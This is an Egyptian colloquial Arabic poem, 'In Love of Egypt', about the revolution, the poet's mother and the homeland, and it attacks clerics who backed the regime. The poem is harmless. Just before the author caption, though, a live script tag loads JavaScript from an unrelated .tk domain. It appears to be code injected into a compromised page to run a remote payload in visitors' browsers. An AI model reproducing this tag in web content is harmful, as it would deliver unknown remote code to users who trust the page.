فى حب مصر

الآولة للنبى
والتانية الثورة
والتالته ياشباب
تطلع شموس بكره
الاوله للنبى هانصلى ونسلم
والتانيه الثورة قامت واحنا نتعلم
والتالته ياشباب انطق بقى اتكلم
تطلع شموس بكره مهما الزمن ضلم
انتوا يانور الحق قناديله
طالعين على حلمكم كارهين غيوم ليله
وتفرحوا بالشهادة تموتوا للأوطان
وتحسه بس أمان وتثبتوا دليله

الاوله مسأله فيها ياناس معنى
والتانية المهزلة ف الدنيا تدمعنا
والتالته ع الشيوخ والفتوى أشمعنى
هما اللى راحوا وقالوا للنظام نعمين

تفرد كفوفها الفجر تتوضى
تدعى ويوصل سرها فيا
امى الحبيبة وعمرى يتقضى
ورضاها املى ونورها يطل ف عنيا

انا قلت روحى مسلمه ليها
وبقيت بكل الشوق بواليها
ردت عليا ف السما النجمات
بعتت لى نورها ف ضلمة قبليها

يامه دعاكى وضمتك وطنى
وحنين يصفى القلب م الاحزان
اسبق بروحى فرحتى وزمنى
واتمنى ارجع على حجرك كمان وكمان

ماعرفش مين خانك وقال نعمين
يام الجبين سندسى ف محبتك ناعمين
نمشى ف طابور الهمج وان قلنا يوم لأ
يرموا علينا التهم ويقولوا مش سامعين

ما انا اللى شوفتك قصاد عينى رياتك فوق
رافعة الجبين للسما والندل طالك فوق
من قهرتى وحرقتى حبيت اقول لأ
طلعت معاك بالمرار وحلفت عمرى ما افوق

ماشى ف سبيلك انا من غير دليل وباشوف
وف عز ليلك تطول الآه ف ليل مكشوف
ترمى الحروف للسما ولا تلمي البوح
ولا تسيبى البشر ف طريق ملان بجروح
قالت نهاية الكلام وبداية عندك شوف

قررت اخاصم سياسة حبك المكار
واعلن خلاص توبتى عن كل ليل ونهار
واقول يامصر اختشى واتعلمى لوحدك
قلبى اللى راح مدرسة بقى يشبه الكفار

ويكفرونى عشان اللأ 100 لأ
لو حتى ليلكم نهار هاصرخ واقول لأ
يكفى ظلام جهلكم ياقتالين روحنا
بتاجروا بجروحنا لو قلنا آ....ه لأ

غزوات وقالوا كتير والبركة ف الصندوق
طعم الحياه عندهم بقى مر قربن دوق
ويقولوا اصل الايمان والدنيا دى زايله
والجهل ليه ينتشر ف عنيه شرار منطوق

يفتوى على رآينا ويقولوا دول تايهين
رافعين رايات عصيان ع الخلق دنيا ودين
وهم اصل الفتاوى كلهم انجاس
زى اللى يكره ناس ويحب ناس تانيين

اصل الرسول المحبة عليه صلاة وسلام
ودول مشايخ مصالح لابسين وشوش ولئام
ودقونهم العيره بالليل بتعميره
وبالنهار يبتدوا بايعين كلام ف كلام

ادعى عليك بالهوى يعدى ف جراحك
وان كنت عايز دوا ف مساك وف صباحك
مايكنش يابن الاصول الفكر هو دواك
ويكون دليلك محبة تتفح تلقاك
زى الجنينة بتطرح وردها باشواك
تحمى اللى فوق غصنها وتطيب بقى جراحك

حاسس بروح البلد ف الزحمة ليه بتتوه
وكل طعم الكلام طالع بيصرخ ياهووووه
هى البلد امنا وكلنا اولادها
فاردين رايات حبها بنعيد فى امجادها
يالا نبطل كلام ونبص للحاضر ومجدنا نلاقوه

قعدت تذاكر حنينى وتحفظ الكشاكيل
زاحت سنين الوجع رجعت دموع بالكيل
قالت هاشوف الدروس واقراك من الأول
وانا قلت روحى فداك ومناهجى تتحول
وتكون مناهج صفا تكتب برمش كحيل
<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>

صورة محمد حسنى